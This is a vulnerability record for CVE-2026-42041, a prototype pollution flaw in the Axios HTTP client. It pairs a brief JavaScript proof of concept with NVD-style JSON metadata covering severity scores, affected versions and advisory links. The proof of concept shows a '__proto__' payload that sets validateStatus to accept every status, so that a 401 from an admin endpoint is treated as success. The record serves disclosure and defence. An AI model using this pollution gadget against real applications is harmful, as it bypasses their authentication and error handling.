CVE-2026-42041

// Proof of Concept for CVE-2026-42041 // This demonstrates how polluting the prototype affects Axios behavior // Assume an attacker can inject a payload that merges into Object.prototype // In a real scenario, this might happen via a deep merge of untrusted JSON const maliciousPayload = JSON.parse('{"__proto__": {"validateStatus": "() => true"}}'); // Simulating the pollution (simplified for demonstration) // In the actual vulnerability, this happens during Axios config merge Object.prototype.validateStatus = () => true; const axios = require('axios'); // Vulnerable version < 1.15.1 // Requesting a resource that returns 401 Unauthorized axios.get('http://example.com/admin') .then(response => { // This block is executed because validateStatus returns true console.log('Success! Status:', response.status); console.log('Data:', response.data); // The application logic assumes the user is authenticated }) .catch(error => { // This block is skipped, bypassing error handling console.log('Request failed'); });

{"cve": {"id": "CVE-2026-42041", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:31.133", "lastModified": "2026-04-27T20:07:58.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}